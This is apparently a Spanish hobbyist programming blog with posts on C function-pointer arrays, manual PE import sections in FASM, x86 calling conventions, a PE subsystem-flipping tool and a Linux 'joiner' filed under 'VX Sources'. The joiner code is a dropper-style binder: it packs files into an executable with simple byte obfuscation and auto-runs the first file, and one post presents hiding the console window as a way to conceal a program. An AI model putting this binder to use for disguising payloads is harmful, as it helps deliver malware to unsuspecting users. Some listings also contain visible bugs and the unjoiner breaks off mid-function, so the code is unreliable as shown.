Array de funciones en C

Posteado en Tutoriales & Manuales con etiquetas , sobre Junio 29, 2009 por ni0ssw

Hola, vamos a ver algo muy loco, algo que nose si en otros lenguajes se pueda, pero en C obiamente SI Lengua

hace un tiempo descubri q se podia hacer esto y me quede xD :S :'( :P :O :O :O :Sonrisa :Sonrisa Huh? Huh? Impresionado Impresionado Impresionado Impresionado xDDD

/**********************************************************/

#include "stdio.h"

typedef int (*_func)(char *, ...);
_func func[10];

int main(void)
{
  func[5] = (_func)printf;
  func[5]("hola mundo!\n");
  getchar();
  return 0;
}

/**********************************************************/

utilize func[5] solo para demostrar que estoy trabajando con el array Lengua

no puse getchar dentro del array porque getchar esta declarado diferente que printf…
veamos una utilidad buena para esto del array de funciones:

/**********************************************************/

#include "stdio.h"

typedef float (*_func)(float, float);

float add(float a, float b)
{
  return a + b;
}

float sub(float a, float b)
{
  return a - b;
}

float mul(float a, float b)
{
  return a * b;
}

float div(float a, float b)
{
  if(b == 0)
      return 0;
  return a / b;
}

/*cargamos nuestro vector de funciones...*/
_func func[4] = {add, sub, mul, div};

int main(void)
{
  int num = 0;
  float a,b;
  printf("Ingrese 2 numeros\n");
  scanf("%f %f", &a, &b);
  while(num > 4 || num < 1){
      printf("1 - Sumar\n2 - Restar\n3 - Multiplicar\n4 - Dividir\n");
      scanf("%d", &num); /*gracias Anibal xD*/
   }
  num--;
/*por el metodo "tradicional" tendria que venir un switch o varios ifs...*/
  printf("Resultado: %f\n", func[num](a, b));
  while(getchar() != '\n');   /*la forma que utiliza Ramc para vaciar el buffer xD*/
  getchar();
}

/**********************************************************/

bueno, eso es todo, creo q es facil de entender

salu2!

P.D: pufff hace cuanto q no posteaba en C!! xD

Importar funciones de Windows en Fasm “manualmente”

Posteado en Tutoriales & Manuales (ASM) con etiquetas sobre Mayo 3, 2009 por ni0ssw

Hola,
todos seguramente para llamar a una API (como puede ser MessageBox() ) utilizan
Código:

invoke MessageBox,0,”hola”,”hola”,0

y listo, pero hay otra forma mas compleja y que sirve “en casos de emergencia” que esta buena conocer, aparte de que se entiende un poco mejor la forma de trabajar windows con sus .exe
y si ya se piensan que voy a salir con “LoadLibrary” y “GetProcAddress” lamento decirles que no xD es mas complejo que eso.

lo que yo hize y averigue es para el FASM, pero debe de ser muuy parecido para otros compiladores

lo que vamos a hacer es crear una nueva seccion dentro del ejecutable donde vamos a poner determinada informacion para que cuando ejecutamos el .exe el windows automaticamente carge las DLLs y las direcciones de memoria de las funciones..

este es un ejemplo, creo que bastante claro, crea una ventanita con MessageBox() y llama a ExitProcess()
lo importante de todo esta al final, donde empieza la seccion .idata

;——————————————————————;

format PE gui

entry main

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
section ‘.text’ code readable executable

main:
;aca empiezan los argumentos de MessageBox
;(se empieza por el ultimo argumento)
push 0 ;MB_OK
push hi ;texto
push hi ;texto
push 0 ;HWND_DESKTOP
call [MessageBox]
;fijense que uso [nombre], no como el invoke que no utiliza []

push eax ;salimos con lo que retorno MessageBox
call [ExitProcess]
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
section ‘.data’ data readable writeable

hi db ‘hola mundo!’,0
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;aca viene lo interesante!
section ‘.idata’ import data readable writeable

dd 0,0,0, rva kernel_name, rva kernel_table
dd 0,0,0, rva user_name, rva user_table
;dd 0,0,0, rva dll_name, rva dll_table
;etc.
dd 0,0,0,0,0

;aca es donde se va a cargar
;la direccion de memoria de la funcion
kernel_table:
ExitProcess dd rva _ExitProcess
;LoadLibrary dd rva _LoadLibrary
;etc.
dd 0 ;para terminar la tabla

kernel_name db ‘kernel32.dll’,0

;aca le indicamos el nombre
;de las funciones que aparecen en la tabla
_ExitProcess dw 0
db ‘ExitProcess’,0
;_LoadLibrary dw 0
;db ‘LoadLibraryA’,0

;lo mismo pero para user32
user_table:
MessageBox dd rva _MessageBox
dd 0

user_name db ‘user32.dll’,0

_MessageBox dw 0
db ‘MessageBoxA’,0
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;——————————————————————;

fijense que lo que hacemos es crear manualmente la seccion de importacion, estamos indicandole byte por byte que es lo que tiene que escribir en esa seccion, por lo que se puede hacer con cualquier compilador (con sus respectivas nomenclaturas obiamente)

section ‘.idata’ import data readable writeable
esas son las características de la sección
dentro de esa seccion primero colocamos el nombre de la DLL (la direccion donde esta el nombre) y donde esta la tabla, fijense que uso “rva”, eso indica que en vez de colocar la direccion en memoria, coloque la direccion dentro del archivo.

creo que la estructura de la seccion es facil de entender con ese ejemplo, puse entre comentarios como agregar mas funciones o mas dlls.

no es muy practico si podemos hacerlo de la forma facil, pero creo que es interesante (por lo menos para mi lo fue), se tiene mas control sobre el archivo y se aprende mas sobre el formato PE de los .exe

salu2!

DOShex 1.1 [WIN]

Posteado en VX Sources con etiquetas sobre Septiembre 24, 2008 por ni0ssw

Hola, bueno, despues de menos de un mes, saco la segunda vercion… resulta que tenia errores y de paso le agrege la funcion Goto (leer readme para mas info)

la vercion anterior aca:
http://sswteam.wordpress.com/2008/09/03/doshex-win/

y esta es la nueva:
http://www.badongo.com/file/11469535

salu2!

DOShex [WIN]

Posteado en Uncategorized con etiquetas , sobre Septiembre 3, 2008 por ni0ssw

hola, y aca con otras de mis creaciones Lengua esta vez para windows, estaba obligado a crear un editor hexadecima (para editar archivos binarios) para D.O.S. (si, lo que estaba antes que el windows) asique.. lo cree
http://www.badongo.com/file/11171734
tienen el codigo fuente en C, pero necesitan algun compilador con la libreria conio (como Turbo C Lengua) y si quieren usarlo en DOS un compilador para DOS (como el Turbo C xD)

salu2!

x86 calling conventions (castellano)

Posteado en Tutoriales & Manuales, Tutoriales & Manuales (ASM) sobre Septiembre 3, 2008 por ni0ssw

Hola, aca voy a explicar las “calling conventions”, toda la informacion la voy a sacar de:
http://en.wikipedia.org/wiki/X86_calling_conventions
(esta en inglés)


-He notado que algunas especificaciones estan.. incompletas, quisa le falta decir como retorna o si se ponen de derecha a izqueirda o de izquierda a derecha los argumentos, yo solo saque la informacion de la pagina citada arriba de todo

-Cuando aveces digo que en C se puede indicar de que forma compilar la funcion, quisa no sea igual para todos los compiladores, hasta es probable que en algunos compiladores se pueda incluir otras calling conventions.


que son las calling conventions?
resulta que hace tiempo, con las maquinas de Unix, todo funcionaba como reloj, las funciones se llebaba bien entre ellas, pero parecio IBM, con sus pcs con procesador intel, sistema operativo de microsoft y hardware IBM, entonces tubieron que hacer una serie de reglas para que las funciones funcionen bien. estas reglas son las calling conventions.

que dicen estas reglas?
definen como se pasan los argumentos y como debe retornar un valor la función, por ejemplo, los argumentos se pueden pasar a los registros o a la pila, empezando por la derecha o por la izquierda.

sirve para cualquier lenguaje?
si, aunque en pocos lenguajes se puede especificar que reglas seguir, o bien, crear tus propias reglas (con asm, aunque tambien podes seguir las calling conventios ya establecidas obiamente)
creo que es importante para asm, pero no es de importancia cuando no podes especificar nada, pero saber que hace el compilador con tus funciones no esta de mas Lengua


Las calling conventions se dividen en 2 grandes grupos
“caller clean-up”
“callee clean-up”

Caller clean-up:
Aca el que llame a la funcion se encarga de limpiar la pila (ya veremos que es eso), facilidad para las funciones con indefinida cantidad de argumentos, como lo es printf en C.

tenemos 3 “reglas”:
cdecl
syscall
optlink

cdecl:
la cdecl calling convention es la mas usada por compiladores de C
los argumentos (parametros) de la funcion son pasados por la pila, empezando de la derecha y terminando con el argumento de la izqueirda.
la funcion retorna el valor en el registro EAX, exepto para valores reales que se ponen en ST0.
los registros EAX, ECX y EDX quedan libres para la funcion (osea, los podes modificar tranquilamente)

en C para especificar que la funcion utilize este metodo debemos poner _cdecl antes del nombre de la funcion:

Código
int _cdecl funcion(int, int, int);

un ejemplo:

Código
int function_name(int, int, int);
int a, b, c, x;
...
x = function_name(a, b, c);

al compilarse queda:

Código
push c
push b
push a
call function_name
add esp, 12 ;Limpia la pila
mov x, eax

el que llamo a la funcion debe limpiar la pila despues de la llamada, esto se hace regresando la pila a donde estaba, como tenemos 3 variables de 4 bytes, el valor de esp va a disminuir 12 bytes (los 3 push), asique para que vuelva a donde estaba hay que sumarle 12 a esp Lengua
en caso de que el valor a retornar sea de 64 bits entonces retoran en EAX:EDX (32bits mas significativos en EAX y los menos significativos en EDX)

en Linux los puntos flotantes de 32 bits o los de 64 bits son pasados asi:

Código
sub esp,8;    hace espacio en la pila 
fld [ebp+x]; carga el flotante de 64bits
fstp [esp]; pone el flotante de 64bits en la pila
call func;
add esp,8;

syscall:
Este es parecido a cdecl en que los argumentos se pasan de derecha a izqueirda.
EAX, EDX  y ECX no se conservan. (creo que quiere decir que no los podemos modificar)
El tamaño de la lista de parametros se pasa a AL

Syscall es el metodo estandar para OS/2 32bits

optlink:
Los argumentos son puestos de derecha a izquierda. Los tres primeros (de la izquierda) se pasan por EAX, EDX y ECX, y hasta 4 variables flotantes se pasan de ST(0) a ST(3) aunque se reserva espacio en la pila para ellos.
en este caso EBP, EBX, ESI, y EDI son conservadas
se retorna por EAX o ST(0)

optlink se usa por los compiladores IBM VisualAge.

Callee clean-up:
cuando la funcion llamada limpia la pila, el compilador tiene que saber cuantos bytes debe “limpiar” en el tiempo de ejecucion, por eso este metodo no es compatible con funciones con la cantidad de  argumentos variables (como printf).
este metodo es un poco mas eficiente.
la instruccion ret del x86 permite un un parametro de un byte que especifica el numero de posiciones de la pila a limpar antes de retornar.

Código
ret 12

tenemos las sigientes:
pascal
register
stdcall
fastcall
Microsoft fastcall
Borland fastcall
Watcom register based calling convention
TopSpeed / Clarion / JPI
safecall

pascal
los parametros son pasados de izquierda a derecha (al contrario de cdecl)
retorna como cdecl

este metodo fue usado comunmente en 16 bit APIs OS/2 1.x , Microsoft Windows 3.x, y Borland Delphi version 1.x.

register
asi se lo llamaba a Borland fastcall.

stdcall
se pasan los argumentos de dercha a izqueirda
EAX, ECX y EDX son destinados para la funcion
y se retorna en EAX
este metodo es el estandar para WIN32
en C para indicar que use este metodo usamos

Código
_stdcall
Código
char _stdcall mifunc(int x);

fastcall
esta convencion no se estandarizó (creo que se escribe asi xD) por lo que cada compilador lo interpreta a su manera:
Microsoft fastcall
Microsoft o GCC __fastcall pasa los primeros 2 argumentos (de izquierda a derecha) en ECX y en EDX, el resto se ponen en la pila de DERECHA a izquierda.
Borland fastcall
Pasa de izquierda a derecha los argumentos en EAX, EDX y ECX, el resto por la pila (tambien de izquierda a derecha)
es el metodo estandard de Borland Delphi.
Watcom register based calling convention
Watcom no soporta la palabra clave __fastcall, exepto que se le haga un alias a NULL
el “registrer calling convention” se selecciona por la linea de comandos
los argumentos se pasan de izquierda a derecha por eax, edx, ebx, ecx. Si algun argumento no puede ser pasado por el registro, ese y todos los siguientes se pasan por la pila, los argumentos de la pila se pasan de DERECHA a izquierda
Watcom C/C++  admite “#pragma aux” que te permite definir tu propio metodo (no se como xD da un enlaze a http://www.openwatcom.org/index.php/Calling_Conventions#Specifying_Calling_Conventions_the_Watcom_Way pero eso no entraria en este post)
TopSpeed / Clarion / JPI
Los primeros 4 son pasados por eax, ebx, ecx y edx, para los puntos flotantes usamos st0, st1, st2, st3, st4, st5 y st6. parametros de estructuras son siempre pasados por la pila y cuando se acaban los registros usamos la pila
enteros se retornan por EAX
punteros por EDX
puntos flotantes por st0

safecall
En borland delphi este metodo se usa para chequekar errores, los errores se reportan cuando se retorna, y delphi automaticamente chekea ese valor devuelto y si es necesario manda algun mensaje de error.

safecall es igual a stdcall exepto que los errores son pasados por EAX (en vez de fs:[0]) mientras que el valor devuelto se pasa por la pila como si fuese un ultimo parametro out.
esta convencion va a perecer como cualquier otra convencion, aunque los errores son pasados por EAX, estos son automaticamente convertidos a la exprecion adecuada por el que llama a la funcion safecall.
estas 2 declaraciones son iguales:

Código
function function_name(a: DWORD): DWORD; safecall;
Código
function function_name(a: DWORD; out Result: DWORD): HResult; stdcall;


thiscall

esta tiene 2 verciones, caller-clean up y callee-clean up, depende del compilador
para el GCC, thiscall es igual que cdecl, la diferencia es que agrega “this pointer”, que se pone ultimo en la pila, como si fuese el primer parametro de la funcion

para microsoft visual C++ “this pointer” es pasado por ECX y la funcion llamada es la que limpia la pila, exepto para las funciones con numeros variados de parametros que es la funcion que llama la que limpia.

thiscall puede ser esplicitamente especificado en Microsoft Visual C++ 2005 y mayores. para cualquier otro compilador thiscall no es una palabra reservada
(no se que es a lo que se refiere con “this pointer”

Citar
The difference is the addition of the this pointer, which is pushed onto the stack last, as if it were the first parameter in the function prototype.

)

Intel ABI
esta convencion muchos compiladores y lenguajes usan, segun Intel ABI, EAX, EDX y ECX son de uso libre para la funcion, asique no tienen que ser preservadas.

Microsoft x64 calling convention
esta convencion, como bien deben de suponer, es para arquitecturas de 64 bits, y utiliza las ventajas de los 64 bits utilizando RCX, RDX, R8 y R9 para enteros y punteros
XMM0, XMM1, XMM2, XMM3 para flotantes, el resto se pone en la pila y se retorna por RAX.
cuando compilamos en 64bits utilizando las herramientas de microsoft, hay una sola convencion (esta xD) asique stdcall cdecl ,fastcall etc son todas una y la misma
es de la responsabilidad del que llama a la funcion reservar 32bytes (sin importar el numero de parametros) en la pila antes de llamar a la funcion, este espacio es para RCX, RDX, R8 y R8

AMD64 ABI convention
este sistema es usado en linux (obiamente 64 bits xD) y otros sistemas operativos menos los de microsoft
RDI, RSI, RDX, RCX, R8 y R9 son usados para enteros y punteros
XMM0, XMM1, XMM2, XMM3, XMM4, XMM5, XMM6 y XMM7 para flotantes
los demas son por la pila y se retorna en RAX.

Standard exit and entry sequences for C code
asi es como EMPIEZA la funcion

Código
_function:
    push ebp       ;guarda el ebp viejo
    mov ebp, esp   ;ahora la base de la pila es el puntero a la pila
                   ;arriba de todo esta el viejo ebp y seguida por la posicion de retorno
    sub esp, x     ;x es el tamaño de todas las variables "automatic" ("automatic" es algo de C, por defecto todas son automatic)

lo unico que explico es que sub esp, x es hacer espacio, donde dentro van a estar las variables locales automaticas.
este comportamiento hace posible hacer funciones recursivas

y asi es como TERMINA

Código
mov esp, ebp   ;reset the stack to "clean" away the local variables
pop ebp        ;restore the original base pointer
ret            ;return from the function

creo que esta claro, un ejemplo de este code en C:

Código
int _cdecl MyFunction(int i){
    int k;
    return i + k;
}

produce

Código
;entry sequence
push ebp
mov ebp, esp
sub esp, 4     ;create function stack frame

;function code
mov eax, [ebp + 8]
               ;move parameter i to accumulator
add eax, [ebp - 4]
               ;add k to i
               ;result is returned in eax

;exit sequence
mov esp, ebp
pop ebp
ret

aunque esto algunos compiladores lo optimizan cuando no necesitan hacer espacio en la pila y esas cosas.


si.. es un poco largo y pesado, no creo que se lo lean todo xD quisa tienen duda y consultan aca Lengua

salu2! y espero que les haya gustado!

Iniciar en modo grafico (GUI) cualquier app[WIN]

Posteado en Tutoriales & Manuales sobre Septiembre 2, 2008 por ni0ssw

Hola, todos habrán visto que sus programas de C para Windows salen por defecto en modo consola, con esa ventanita negra atras, suponganse que quieren hacerlo invisible al programa… esa ventanita no deberia estar… bueh, hay 2 formas, que en realidad es 1:
indicarle al compilador que lo cree en modo GUI (modo grafico, sin ventanita negra). esto depende de cada compilador pero para en DEV-C++ basta con crear un proyecto nuevo e indicarle que es “Windows aplication”. esto sirve para cuando hacemos botonces y ventanas y esas cosas pero tambien para “ocultarnos”, obiamente no le pueden pedir al usuario que ingrese un dato por teclado y tampoco que lea algo xD.

la segunda es hacer lo que hace el compilador manualmente, pero esto nos sirve (al ser manual) para cualquier programa.
(al final de post, despues del codigo, explico lo que hay que modificar)

que pasa cuando el copilador lo crea en modo GUI?? en el archivo .exe que genera, hay una parte específica que obtiene el valor 2, que es el modo GUI, en cambio si es en modo consola, el valor que obtiene ahi es el 3, asique solo es cuestion de abrir el archivo y cambiar el valor 3 por el 2 para que no aparezca la ventana, pero lo puede hacer un programa no?

explico lo que hace este programa
convierte un exe que le indicamos a modo GUI (si esta en modo consola) o en modo consola (si esta en modo GUI), asique lo abren, les pide el programa asique escriben la ruta y listo.

Código
#include stdio.h  /*ponganle los signos de mayor y menor en stdio.h*/
#define GUI 2
#define CUI 3

int main(int argc, char **argv)
{
   FILE *f;
   char c = 0, name[500];
   printf("Ingrese el exe a modificar:\n");
   gets(name);/*pide el nombre del programa */
   if(!(f = fopen(name, "rb+"))){
       printf("FOPEN");
       getchar();
       return 0;
   }
   if(fgetc(f) != 'M'){/*se fija que tenga el numero magico 'MZ', lo que indica que es ejecutable*/
       printf("NOT EXE");
       goto end;
   }
   if(fgetc(f) != 'Z'){
       printf("NOT EXE");
       goto end;
   }
   fseek(f, 0x3C, SEEK_SET);/*asi es como se busca PE*/
   fread(&i, 1, 4, f);
   if(i == 0){
       printf("NOT PE");
       goto end;
   }
   fseek(f, i, SEEK_SET);
       if(fgetc(f) != 'P'){/*se fija que tenga el numero magico 'PE', lo que indica que es ejecutable*/
       printf("NOT PE");
       goto end;
   }
   if(fgetc(f) != 'E'){
       printf("NOT PE");
       goto end;
   }
   if(feof(f)){
       eof:
       printf("EOF");
       goto end;
   }
   fseek(f, 0x5A ,SEEK_CUR);/*nos vamos a esa posicion especial*/
   if(fgetc(f) == GUI){
 fseek(f, -1, SEEK_CUR);
    fputc(CUI, f);/*y escribimos que sea CUI*/
   }
   else{
 fseek(f, -1, SEEK_CUR);
    fputc(GUI, f);/*y escribimos que sea GUI*/
   }
   printf("listo :) \n");
   end:
   fclose(f);
   getchar();
   return 0;
}

y ahora el programa que le indicamos va a iniciar en modo grafico. sin ventanita negra! Cheesy

al principio de un exe, tenemos la cabecera DOS, que no nos sirve, esta empieza con los caracteres ascii MZ
si avanzamos un poco… aparecen los caracteres ascii PE, estos SI interesan Lengua
ahora viene IMAGE_FILE_HEADER, que ocupa 0×14 bytes (hay que aclarar que despues de PE hay 2 bytes en 0 que no son contados), como esta seccionno interesa pasamos a la otra, IMAGE_OPTIONAL_HEADER, esta empieza con el valor 0×010B, pero en el archivo aparece 0B 01, pero no importa, es cuestion de como se ordenan los bytes en la memoria (menor peso menor posicion de memoria, por eso 0b que es el byte de menor peso esta antes), ahora en 0×44 bytes mas adelante (CONTANDO el 0×010B tenemos

Citar
WORD Subsystem
The type of subsystem that this executable uses for its user interface. WINNT.H defines the following values:

1 Doesn’t require a subsystem (such as a device driver)

WINDOWS_GUI

2 Runs in the Windows GUI subsystem

WINDOWS_CUI

3 Runs in the Windows character subsystem (a console app)

OS2_CUI

5 Runs in the OS/2 character subsystem (OS/2 1.x apps only)

POSIX_CUI

7 Runs in the Posix character subsystem

asique hay que moverse hasta ahi, yo me muevo 0×5A, pero.. 0×44 mas 0×14 = 0×58, eso es porque yo busco a PE, y no conte todabia los 2 bytes en 0 Lengua y bueh, ya estamos, ponemos el valor adecuado y listo:P

salu2!

Una especie de joiner en C para Linux

Posteado en VX Sources con etiquetas , , sobre Agosto 10, 2008 por ni0ssw

bueno, lo hice para linux Lengua
el codigo y los archivos binarios estan aca:
http://www.badongo.com/file/10771735

el codigo tiene muchos comentarios, creo que no hace falta aclarar mucho, solo unas cosas
es por consola, nada de lindas ventanitas, se le pasnas los archivos por argumentos
tiene que estar copilado el unjoiner.c con el nombre “unjoiner” (sin extencion ni nada)

y el formato del archivo “salida” (que se va a llamar “out”) es asi:

[

unjoiner

]
***
[4bytes pra tamaño del proximo archivo]
[nombre del archivo terminado en un caracter 0]
[archivo]
[4bytes pra tamaño del proximo archivo]
[nombre del archivo terminado en un caracter 0]
[archivo]
[4bytes pra tamaño del proximo archivo]
[nombre del archivo terminado en un caracter 0]
[archivo]

[... osea, eso repetido dependiendo de los archivos xD]
[4bytes para el tamaño de todos los archivos agregados, osea, el tamaño desde los *** hasta el ultimo byte del ultimo archivo]
[1byte para indicar si se ejecuta el archivo nº 1 pasado en los argumentos, 0 para que no y 1 para que si]

ahora los codigos

joiner:

Código
/*joiner 01 julio 2008
by Ni0
ni0@el-hacker.org*/
/*
   This program is free software: you can redistribute it and/or modify
   it under the terms of the GNU General Public License as published by
   the Free Software Foundation, either version 3 of the License, or
   (at your option) any later version.

   This program is distributed in the hope that it will be useful,
   but WITHOUT ANY WARRANTY; without even the implied warranty of
   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
   GNU General Public License for more details.

   You should have received a copy of the GNU General Public License
   along with this program.  If not, see .
*/

/*a este codigo le falta el unjoiner, se compilan por separado pero se necesitan los 2 ejecutables, y tienen que estar en la misma carpeta

el unjoiner tiene que estar con el nombre "unjoiner" SI o Si (exepto que cambien este codigo xD)*/

#include stdio.h /*ponganle los simbolos de mayor y menor...
o sino descargan el archivo y listo xD*/
#include string.h
#include sys/stat.h
#include unistd.h

void usage(char *argv)/* te indica como se usa el programa*/
{
 printf("\n\tERROR:Mal Argumentos\n%s [-n] archivo1 archivo2 archivo3 ...\n\nel programa agrega los archivos especificados como argumento en el archivo \"unjoiner\"(que es una copia de program, NO ELIMINAR NI CAMBIAR DE NOMBRE) del cual despues de usar el joiner va a salir un archivo \"out\" al cual SI se le puede cambiar el nombre, al ejecutar el arhivo \"out\" (o el nuevo nombre que le hayan puesto) va a extraer los archivos y va a ejecutar el \"archivo1\", exepto que se use el argumento -n que le indica que no ejecute nada\nlos archivos van a ser extraidos en la misma carpeta que indica el agumento, por lo que si se quiere que se extraigan en la misma carpeta que program, los archivos tienen que estar en la misma carpeta que joiner, ejemplos:\n\njoiner juego imagen.bmp sonido/misonido.mp3\n este va a poner los archivos indicados en \"out\" y este los va a extraer imagen.bmp en la misma carpeta, exepto misonido.mp3 que va a crear la carpeta sonido/ y ahi dentro pondra misonido.mp3\n", argv);
}

int main(int argc, char **argv)
{
 FILE *f, *j;/*los archivos, f para el archivo indicado para unir y en j el programa que va a resultar de unir todo*/
 int arg;/*que argumento estamos trabajando*/
 unsigned long size = 0, sizef = 0;/*size para el tamaño TOTAL y en sizef el tamaño del archivo que estamos uniendo*/
 unsigned char c;
 if(argc == 1 || (argv[1][0] == '-' && (argv[1][1] != 'n' || argv[1][2] != 0))){/* si estan mal puestos los argumentos...*/
  usage(argv[0]);
  return 1;
 }
 f = fopen("unjoiner", "rb");
 if(f == NULL){
  printf("\n\tERROR: no se encuentra el archivo program\nno se encontro el archivo program, re compilelo con el nombre \"unjoiner\" .\n");
  return 1;
 }
 j = fopen("out", "wb");
 if(j == NULL){
  printf("\n\tERROR: no se pudo abrir el archivo \"out\" como escritura\nasegurese que tiene permiso para abrir ese archivo o que no esta siendo utilizado por otro programa\n");
  return 1;
 }
 arg = fgetc(f);/*uso arg simplente para no declarar otra variable*/
 while(!feof(f)){
  fputc(arg, j);/*copiamos todo el unjoiner de unjoiner a out*/
  arg = fgetc(f);
 }
 fclose(f);
 arg = 1;
 if(argv[1][0] == '-')/*esto significa que se puso -n tonces se lo saltea*/
  arg++;
 while(arg != argc){
  if((f = fopen(argv[arg], "rb")) == NULL){/*si no pudo abrir el argumento...*/
   printf("\n\tERROR:archivo no encontrado\nel archivo \"%s\" no existe (argumento numero %d)\n", argv[arg], arg);
   return 1;
  }
  while(!feof(f)){/*calcula el tamaño*/
   fgetc(f);
   sizef++;
   size++;
   if(size == 0xFFFFFFFF){/*sino habria overflow xD y en el out quedaria cualquier cosa*/
    printf("\n\tERROR: los archivos superan los %d bytes\n", 0xFFFFFFFF);
    return 1;
   }
  }
  sizef--;/*se lee un caracter de mas, el caracter EOF, por eso tengo que restarle 1*/
  size--;
  if(strlen(argv[arg]) > 300){
   printf("\n\tERROR:el nombre del archivo %s tiene mas de 300 caracteres\n", argv[arg]);
   return 1;
  }
  size += strlen(argv[arg]) + 5;/*al tamaño le tiene que sumar el nombre, un caracter 0 y 4 bytes para indicar el tamaño del archivo*/
  fclose(f);
  fputc((unsigned char)sizef, j);/*escribimos el tamaño del archivo, pero de a bytes*/
  fputc((unsigned char)(sizef / 0x100), j);
  fputc((unsigned char)(sizef / 0x10000), j);
  fputc((unsigned char)(sizef / 0x1000000), j);
  fprintf(j, "%s", argv[arg]);/*ponemos el nombre del archivo*/
  fputc('', j);/*el caracter 0*/
  /*lo que va a hacer el unjoiner es leer el tamaño del archivo, despues leer hasta encontrar el caracter 0 y despues leer la cantidad de bytes que dice el tamaño del archivo*/
  f = fopen(argv[arg], "rb");
  while(!feof(f)){/*y copiamos el archivo a out*/
   c = fgetc(f);
   if(c == 0xFF)
    fputc(0, j);
   else
    fputc(c + 1, j);
  }
  fclose(f);
  sizef = 0;
  arg++;/*pasamos al siguiente argumento*/
  fseek(j, -1, SEEK_CUR);/*como se lee un caracter de mas, tengo que volver para atras*/
 }
 /*ponemos el tamaño de TODOS los archivos, de sus nombres y de su tamaño*/
 fputc((unsigned char)size, j);
 fputc((unsigned char)(size / 0x100), j);
 fputc((unsigned char)(size / 0x10000), j);
 fputc((unsigned char)(size / 0x1000000), j);
 if(argv[1][0] == '-')/*y ponemos 0 si no hay que ejecutar el primer argumento, o sino 1*/
  fputc((char)0x00, j);
 else
  fputc((char)0x01, j);
 fclose(j);
 chmod("out", ALLPERMS);/*le ponemos los permisos... (ALLPERMS xD)*/
 return 0;
}

unjoiner:

Código
/*unjoiner 01 julio 2008
by Ni0
ni0@el-hacker.org*/
/*
   This program is free software: you can redistribute it and/or modify
   it under the terms of the GNU General Public License as published by
   the Free Software Foundation, either version 3 of the License, or
   (at your option) any later version.

   This program is distributed in the hope that it will be useful,
   but WITHOUT ANY WARRANTY; without even the implied warranty of
   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
   GNU General Public License for more details.

   You should have received a copy of the GNU General Public License
   along with this program.  If not, see .
*/
/*a este codigo le falta el joiner, se compilan por separado pero se necesitan los 2 ejecutables, y tienen que estar en la misma carpeta

el unjoiner tiene que estar con el nombre "unjoiner" SI o Si (exepto que cambien el codigo del joiner xD)*/

#include stdio.h  /*ponganle los simbolos de mayor y menor...
o sino descargan el archivo y listo xD*/
#include string.h
#include stdlib.h
#include sys/stat.h
#include unistd.h

int main(int argc, char **argv)
{
 FILE *u, *f;
 unsigned long size = 0, n = 0, pos = 0, posf = 0;/*size para saber el tamaño total y de los archivos independientes, n para manejarse entre las cadenas, pos para saber la posicion en la que estamos del archivo y posf para saber la posicion final, hasta donde tenemos que llegar*/

 char t[301], exe, exef[320], _exef[320], *barra, *barraa, cwd[320];/*t es el nombre del archivo que estamos trabajando
 exe es si se ejecuta o no el primer archivo, exef es el archivo a ejecutar (en caso de que exe sea 1), _exef es el comando que se va a usar con system para ejecutar el archivo, barra indica la barra '/' del nombre de un archivo, barraa indica la barra '/' anterior a "barra" xD y cwd es el CurrentWorkDirectory, para saber donde estamos trabajando*/
 unsigned char c; 

 u = fopen(argv[0], "rb");/*nos abrimos a nosotros mismos*/
 if(u == NULL){
  printf("\n\tERROR: no se pudo abrirse el archivo %s\n", argv[0]);
  return 1;
 }
 exef[0] = 0;
 fseek(u, -5, SEEK_END);/*volvemos 5 bytes para atras desde el final*/
 fgetpos(u, &posf);/*obtenemos la posicion final*/
 size += fgetc(u);/*byte 1*/
 size += fgetc(u) * 0x100;/*byte 2*/
 size += fgetc(u) * 0x10000;/*byte 3*/
 size += fgetc(u) * 0x1000000;/*byte 4*/
 /*fijense que se leyo de la misma forma que se escribio :P */
 exe = fgetc(u);/*byte 5, indica si se ejecuta o no*/
 fseek(u, size * (-1) - 5, SEEK_END);/*tenemos que retroceder los 5 bytes de antes MAS el tamaño total de todo lo que agregamos, pero como es para ATRAS tiene que estar en negativo*/
   getcwd(cwd, 320);/*obtenemos el directorio*/
 while(posf != pos){ /*mientras que no estemos en la posicion final...(osea, se acabaron los archivos)*/
  memset(t, 0, 301);/*pongo en 0 a t*/
  barraa = barra = t - 1;/*ponemos que apunten a t - 1, ya van a ver*/
  /*leemos el tamaño de un archivo*/
  size = 0;
  size += fgetc(u);
  size += fgetc(u) * 0x100;
  size += fgetc(u) * 0x10000;
  size += fgetc(u) * 0x1000000;
  n = 0;
  while((t[n] = fgetc(u)) != 0)/*leemos el nombre hasta que haya un caracter 0*/
   n++;
  if(exe == 1){/*si hay que ejecutar, copiamos t a exef y ponemos en 0 a exe para que no vuelva a hacer esto cuando venga el otro archivo xD*/
   strcpy(exef, t);
   exe = 0;
  }
  while((barra = strchr(barra + 1, '/')) != NULL){/*tenemos que crear los directorios antes de crear el archivo, entonces buscamos las barras /, barra apuntaba a t - 1, barra + 1 apunta a t :P  */
   *barra = 0;/*ponemos en 0 la barra, para que parezca que solo tengamos el directorio*/
   mkdir(barraa + 1, ALLPERMS);/*creamos el directorio con todos los permisos y nos ponemos ahi, por si hay sub direcotios dentro de este, barraa apuntaba a t - 1*/
   chdir(barraa + 1);
   barraa = barra;/*ponemos donde estaba la barra anterior*/
   /*cuando vuelva a ejecutar, barra + 1 indica donde estaba la barra + 1 poscision, sino apuntaria al 0, entonces ahora busca una barra en el resto del nombre si la encuentra crea el directorio usando barraa  + 1, osea la barra anterio (ahora 0) mas una posicion para que no apunte al 0
   esa es la razon por la que apuntan a t - 1*/
  }
  chdir(cwd);/*volvemos a donde estabamos :P */
